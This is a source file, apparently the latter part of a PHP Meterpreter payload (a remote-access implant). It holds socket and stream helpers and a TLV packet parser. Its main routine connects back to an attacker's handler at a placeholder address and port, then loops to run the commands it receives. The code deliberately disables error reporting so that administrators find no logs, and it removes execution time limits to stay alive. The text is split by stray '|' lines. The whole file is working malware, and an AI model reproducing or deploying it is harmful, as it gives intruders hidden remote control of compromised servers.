|
#my_print("Found one at offset $offset");
|
|
return $tlv;
|
|
}
|
|
$offset += $tlv['len'];
|
|
}
|
|
#my_print("Didn't find one, wtf");
|
|
# We should return null instead of false, because false is actually
|
|
# a valid value for a TLV and hence it's not possible to determine
|
|
# a missing BOOL tlv value.
|
|
return null;
|
|
}
|
|
|
|
|
|
function packet_get_all_tlvs($pkt, $type) {
|
|
my_print("Looking for all tlvs of type $type");
|
|
# Start at offset 8 to skip past the packet header
|
|
$offset = 8;
|
|
$all = array();
|
|
while ($offset < strlen($pkt)) {
|
|
$tlv = tlv_unpack(substr($pkt, $offset));
|
|
if ($tlv == NULL) {
|
|
break;
|
|
}
|
|
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
|
if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
|
my_print("Found one at offset $offset");
|
|
array_push($all, $tlv);
|
|
}
|
|
$offset += $tlv['len'];
|
|
}
|
|
return $all;
|
|
}
|
|
|
|
|
|
##
|
|
# Functions for genericizing the stream/socket conundrum
|
|
##
|
|
|
|
|
|
function register_socket($sock, $ipaddr=null, $port=null) {
|
|
global $resource_type_map, $udp_host_map;
|
|
my_print("Registering socket $sock for ($ipaddr:$port)");
|
|
$resource_type_map[(int)$sock] = 'socket';
|
|
if ($ipaddr) {
|
|
$udp_host_map[(int)$sock] = array($ipaddr, $port);
|
|
#dump_array($udp_host_map, "UDP Map after registering a new socket");
|
|
}
|
|
}
|
|
|
|
# The stream functions cannot be unconnected, so don't require a host map
|
|
function register_stream($stream, $ipaddr=null, $port=null) {
|
|
global $resource_type_map, $udp_host_map;
|
|
my_print("Registering stream $stream for ($ipaddr:$port)");
|
|
$resource_type_map[(int)$stream] = 'stream';
|
|
if ($ipaddr) {
|
|
$udp_host_map[(int)$stream] = array($ipaddr, $port);
|
|
#dump_array($udp_host_map, "UDP Map after registering a new stream");
|
|
}
|
|
}
|
|
|
|
function connect($ipaddr, $port, $proto='tcp') {
|
|
my_print("Doing connect($ipaddr, $port)");
|
|
$sock = false;
|
|
|
|
# IPv6 requires brackets around the address in some cases, but not all.
|
|
# Keep track of the un-bracketed address for the functions that don't like
|
|
# brackets, specifically socket_connect and socket_sendto.
|
|
$ipf = AF_INET;
|
|
$raw_ip = $ipaddr;
|
|
if (FALSE !== strpos($ipaddr, ":")) {
|
|
$ipf = AF_INET6;
|
|
$ipaddr = "[". $raw_ip ."]";
|
|
}
|
|
|
|
# Prefer the stream versions so we don't have to use both select functions
|
|
# unnecessarily, but fall back to socket_create if they aren't available.
|
|
if (is_callable('stream_socket_client')) {
|
|
my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})");
|
|
$sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}");
|
|
my_print("Got a sock: $sock");
|
|
if (!$sock) { return false; }
|
|
if ($proto == 'tcp') {
|
|
register_stream($sock);
|
|
} elseif ($proto == 'udp') {
|
|
register_stream($sock, $ipaddr, $port);
|
|
} else {
|
|
my_print("WTF proto is this: '$proto'");
|
|
}
|
|
} else
|
|
if (is_callable('fsockopen')) {
|
|
my_print("fsockopen");
|
|
if ($proto == 'tcp') {
|
|
$sock = fsockopen($ipaddr,$port);
|
|
if (!$sock) { return false; }
|
|
if (is_callable('socket_set_timeout')) {
|
|
socket_set_timeout($sock, 2);
|
|
}
|
|
register_stream($sock);
|
|
} else {
|
|
$sock = fsockopen($proto."://".$ipaddr,$port);
|
|
if (!$sock) { return false; }
|
|
register_stream($sock, $ipaddr, $port);
|
|
}
|
|
} else
|
|
if (is_callable('socket_create')) {
|
|
my_print("socket_create");
|
|
if ($proto == 'tcp') {
|
|
$sock = socket_create($ipf, SOCK_STREAM, SOL_TCP);
|
|
$res = socket_connect($sock, $raw_ip, $port);
|
|
if (!$res) { return false; }
|
|
register_socket($sock);
|
|
} elseif ($proto == 'udp') {
|
|
$sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP);
|
|
register_socket($sock, $raw_ip, $port);
|
|
}
|
|
}
|
|
|
|
return $sock;
|
|
}
|
|
|
|
function eof($resource) {
|
|
$ret = false;
|
|
switch (get_rtype($resource)) {
|
|
# XXX Doesn't work with sockets.
|
|
case 'socket': break;
|
|
case 'stream':
|
|
# We set the socket timeout for streams opened with fsockopen() when
|
|
# they are created. I hope this is enough to deal with hangs when
|
|
# calling feof() on socket streams, but who knows. This is PHP,
|
|
# anything could happen. Some day they'll probably add a new function
|
|
# called stream_eof() and it will handle sockets properly except for
|
|
# some edge case that happens for every socket except the one or two
|
|
# they tested it on and it will always return false on windows and
|
|
# later they'll rename it to real_stream_eof_this_language_isretarded().
|
|
#
|
|
# See http://us2.php.net/manual/en/function.feof.php , specifically this:
|
|
# If a connection opened by fsockopen() wasn't closed by the server,
|
|
# feof() will hang. To workaround this, see below example:
|
|
# <?php
|
|
# function safe_feof($fp, &$start = NULL) {
|
|
# ...
|
|
$ret = feof($resource);
|
|
break;
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function close($resource) {
|
|
my_print("Closing resource $resource");
|
|
global $resource_type_map, $udp_host_map;
|
|
|
|
remove_reader($resource);
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $ret = socket_close($resource); break;
|
|
case 'stream': $ret = fclose($resource); break;
|
|
}
|
|
# Every resource should be in the resource type map, but check anyway
|
|
if (array_key_exists((int)$resource, $resource_type_map)) {
|
|
unset($resource_type_map[(int)$resource]);
|
|
}
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
my_print("Removing $resource from udp_host_map");
|
|
unset($udp_host_map[(int)$resource]);
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function read($resource, $len=null) {
|
|
global $udp_host_map;
|
|
# Max packet length is magic. If we're reading a pipe that has data but
|
|
# isn't going to generate any more without some input, then reading less
|
|
# than all bytes in the buffer or 8192 bytes, the next read will never
|
|
# return.
|
|
if (is_null($len)) { $len = 8192; }
|
|
#my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource)));
|
|
$buff = '';
|
|
switch (get_rtype($resource)) {
|
|
case 'socket':
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
my_print("Reading UDP socket");
|
|
list($host,$port) = $udp_host_map[(int)$resource];
|
|
socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
|
|
} else {
|
|
my_print("Reading TCP socket");
|
|
$buff .= socket_read($resource, $len, PHP_BINARY_READ);
|
|
}
|
|
break;
|
|
case 'stream':
|
|
global $msgsock;
|
|
# Calling select here should ensure that we never try to read from a socket
|
|
# or pipe that doesn't currently have data. If that ever happens, the
|
|
# whole php process will block waiting for data that may never come.
|
|
# Unfortunately, selecting on pipes created with proc_open on Windows
|
|
# always returns immediately. Basically, shell interaction in Windows
|
|
# is hosed until this gets figured out.
|
|
#
|
|
# From the documentation:
|
|
# > Use of stream_select() on file descriptors returned by proc_open()
|
|
# will fail and return FALSE under Windows.
|
|
$r = Array($resource);
|
|
my_print("Calling select to see if there's data on $resource");
|
|
while (true) {
|
|
$w=NULL;$e=NULL;$t=0;
|
|
$cnt = stream_select($r, $w, $e, $t);
|
|
|
|
# Stream is not ready to read, have to live with what we've gotten
|
|
# so far
|
|
if ($cnt === 0) {
|
|
break;
|
|
}
|
|
|
|
# if stream_select returned false, something is wrong with the
|
|
# socket or the syscall was interrupted or something.
|
|
if ($cnt === false or feof($resource)) {
|
|
my_print("Checking for failed read...");
|
|
if (empty($buff)) {
|
|
my_print("---- EOF ON $resource ----");
|
|
$buff = false;
|
|
}
|
|
break;
|
|
}
|
|
|
|
$md = stream_get_meta_data($resource);
|
|
dump_array($md, "Metadata for {$resource}");
|
|
if ($md['unread_bytes'] > 0) {
|
|
$buff .= fread($resource, $md['unread_bytes']);
|
|
break;
|
|
} else {
|
|
#$len = 1;
|
|
$tmp = fread($resource, $len);
|
|
$buff .= $tmp;
|
|
if (strlen($tmp) < $len) {
|
|
break;
|
|
}
|
|
}
|
|
|
|
if ($resource != $msgsock) { my_print("buff: '$buff'"); }
|
|
$r = Array($resource);
|
|
}
|
|
my_print(sprintf("Done with the big read loop on $resource, got %d bytes", strlen($buff)));
|
|
break;
|
|
default:
|
|
# then this is possibly a closed channel resource, see if we have any
|
|
# data from previous reads
|
|
$cid = get_channel_id_from_resource($resource);
|
|
$c = get_channel_by_id($cid);
|
|
if ($c and $c['data']) {
|
|
$buff = substr($c['data'], 0, $len);
|
|
$c['data'] = substr($c['data'], $len);
|
|
my_print("Aha! got some leftovers");
|
|
} else {
|
|
my_print("Wtf don't know how to read from resource $resource, c: $c");
|
|
if (is_array($c)) {
|
|
dump_array($c);
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
my_print(sprintf("Read %d bytes", strlen($buff)));
|
|
return $buff;
|
|
}
|
|
|
|
function write($resource, $buff, $len=0) {
|
|
global $udp_host_map;
|
|
if ($len == 0) { $len = strlen($buff); }
|
|
#my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource)));
|
|
$count = false;
|
|
switch (get_rtype($resource)) {
|
|
case 'socket':
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
my_print("Writing UDP socket");
|
|
list($host,$port) = $udp_host_map[(int)$resource];
|
|
$count = socket_sendto($resource, $buff, $len, $host, $port);
|
|
} else {
|
|
$count = socket_write($resource, $buff, $len);
|
|
}
|
|
break;
|
|
case 'stream':
|
|
$count = fwrite($resource, $buff, $len);
|
|
fflush($resource);
|
|
break;
|
|
default: my_print("Wtf don't know how to write to resource $resource"); break;
|
|
}
|
|
return $count;
|
|
}
|
|
|
|
function get_rtype($resource) {
|
|
global $resource_type_map;
|
|
if (array_key_exists((int)$resource, $resource_type_map)) {
|
|
return $resource_type_map[(int)$resource];
|
|
}
|
|
return false;
|
|
}
|
|
|
|
function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) {
|
|
$streams_r = array();
|
|
$streams_w = array();
|
|
$streams_e = array();
|
|
|
|
$sockets_r = array();
|
|
$sockets_w = array();
|
|
$sockets_e = array();
|
|
|
|
if ($r) {
|
|
foreach ($r as $resource) {
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $sockets_r[] = $resource; break;
|
|
case 'stream': $streams_r[] = $resource; break;
|
|
default: my_print("Unknown resource type"); break;
|
|
}
|
|
}
|
|
}
|
|
if ($w) {
|
|
foreach ($w as $resource) {
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $sockets_w[] = $resource; break;
|
|
case 'stream': $streams_w[] = $resource; break;
|
|
default: my_print("Unknown resource type"); break;
|
|
}
|
|
}
|
|
}
|
|
if ($e) {
|
|
foreach ($e as $resource) {
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $sockets_e[] = $resource; break;
|
|
case 'stream': $streams_e[] = $resource; break;
|
|
default: my_print("Unknown resource type"); break;
|
|
}
|
|
}
|
|
}
|
|
|
|
$n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e);
|
|
$n_streams = count($streams_r) + count($streams_w) + count($streams_e);
|
|
#my_print("Selecting $n_sockets sockets and $n_streams streams with timeout $tv_sec.$tv_usec");
|
|
$r = array();
|
|
$w = array();
|
|
$e = array();
|
|
|
|
# Workaround for some versions of PHP that throw an error and bail out if
|
|
# select is given an empty array
|
|
if (count($sockets_r)==0) { $sockets_r = null; }
|
|
if (count($sockets_w)==0) { $sockets_w = null; }
|
|
if (count($sockets_e)==0) { $sockets_e = null; }
|
|
if (count($streams_r)==0) { $streams_r = null; }
|
|
if (count($streams_w)==0) { $streams_w = null; }
|
|
if (count($streams_e)==0) { $streams_e = null; }
|
|
|
|
$count = 0;
|
|
if ($n_sockets > 0) {
|
|
$res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec);
|
|
if (false === $res) { return false; }
|
|
if (is_array($r) && is_array($sockets_r)) { $r = array_merge($r, $sockets_r); }
|
|
if (is_array($w) && is_array($sockets_w)) { $w = array_merge($w, $sockets_w); }
|
|
if (is_array($e) && is_array($sockets_e)) { $e = array_merge($e, $sockets_e); }
|
|
$count += $res;
|
|
}
|
|
if ($n_streams > 0) {
|
|
$res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec);
|
|
if (false === $res) { return false; }
|
|
if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); }
|
|
if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); }
|
|
if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); }
|
|
$count += $res;
|
|
}
|
|
#my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e)));
|
|
return $count;
|
|
}
|
|
|
|
function add_reader($resource) {
|
|
global $readers;
|
|
if (is_resource($resource) && !in_array($resource, $readers)) {
|
|
$readers[] = $resource;
|
|
}
|
|
}
|
|
|
|
function remove_reader($resource) {
|
|
global $readers;
|
|
#my_print("Removing reader: $resource");
|
|
#dump_readers();
|
|
if (in_array($resource, $readers)) {
|
|
foreach ($readers as $key => $r) {
|
|
if ($r == $resource) {
|
|
unset($readers[$key]);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
##
|
|
# Main stuff
|
|
##
|
|
|
|
ob_implicit_flush();
|
|
|
|
# For debugging
|
|
#error_reporting(E_ALL);
|
|
# Turn off error reporting so we don't leave any ugly logs. Why make an
|
|
# administrator's job easier if we don't have to? =)
|
|
error_reporting(0);
|
|
|
|
@ignore_user_abort(true);
|
|
# Has no effect in safe mode, but try anyway
|
|
@set_time_limit(0);
|
|
@ignore_user_abort(1);
|
|
@ini_set('max_execution_time',0);
|
|
|
|
# Add the payload UUID to globals, and use that from now on so that we can
|
|
# update it as required.
|
|
$GLOBALS['UUID'] = PAYLOAD_UUID;
|
|
|
|
# If we don't have a socket we're standalone, setup the connection here.
|
|
# Otherwise, this is a staged payload, don't bother connecting
|
|
if (!isset($GLOBALS['msgsock'])) {
|
|
# The payload handler overwrites this with the correct LHOST before sending
|
|
# it to the victim.
|
|
$ipaddr = '127.0.0.1';
|
|
$port = 4444;
|
|
my_print("Don't have a msgsock, trying to connect($ipaddr, $port)");
|
|
$msgsock = connect($ipaddr, $port);
|
|
if (!$msgsock) { die(); }
|
|
} else {
|
|
# The ABI for PHP stagers is a socket in $msgsock and it's type (socket or
|
|
# stream) in $msgsock_type
|
|
$msgsock = $GLOBALS['msgsock'];
|
|
$msgsock_type = $GLOBALS['msgsock_type'];
|
|
switch ($msgsock_type) {
|
|
case 'socket':
|
|
register_socket($msgsock);
|
|
break;
|
|
case 'stream':
|
|
# fall through
|
|
default:
|
|
register_stream($msgsock);
|
|
}
|
|
}
|
|
add_reader($msgsock);
|
|
|
|
#
|
|
# Main dispatch loop
|
|
#
|
|
$r=$GLOBALS['readers'];
|
|
$w=NULL;$e=NULL;$t=1;
|
|
while (false !== ($cnt = select($r, $w, $e, $t))) {
|
|
#my_print(sprintf("Returned from select with %s readers", count($r)));
|
|
$read_failed = false;
|
|
for ($i = 0; $i < $cnt; $i++) {
|
|
$ready = $r[$i];
|
|
if ($ready == $msgsock) {
|
|
$header = read($msgsock, 12);
|
|
#my_print(sprintf("Read returned %s bytes", strlen($request)));
|
|
if (false==$header) {
|
|
#my_print("Read failed on main socket, bailing");
|
|
# We failed on the main socket. There's no way to continue, so
|
|
# break all the way out.
|
|
break 2;
|
|
}
|
|
$xor = strrev(substr($header, 0, 4));
|
|
$request = substr($header, 4);
|
|
$len_array = unpack("Nlen", xor_bytes($xor, substr($request, 0, 4)));
|
|
$len = $len_array['len'];
|
|
# length of the whole packet, including header
|
|
# packet type should always be 0, i.e. PACKET_TYPE_REQUEST
|
|
while (strlen($request) < $len) {
|
|
$request .= read($msgsock, $len-strlen($request));
|
|
}
|
|
#my_print("creating response");
|
|
$response = create_response($xor, $request);
|
|
|
|
write_tlv_to_socket($msgsock, $response);
|
|
} else {
|
|
#my_print("not Msgsock: $ready");
|
|
$data = read($ready);
|
|
if (false === $data) {
|
|
handle_dead_resource_channel($ready);
|
|
} elseif (strlen($data) > 0){
|
|
my_print(sprintf("Read returned %s bytes", strlen($data)));
|
|
$request = handle_resource_read_channel($ready, $data);
|
|
if ($request) {
|
|
write_tlv_to_socket($msgsock, $request);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
# $r is modified by select, so reset it
|
|
$r = $GLOBALS['readers'];
|
|
} # end main loop
|
|
my_print("Finished");
|
|
my_print("--------------------");
|
|
close($msgsock);
|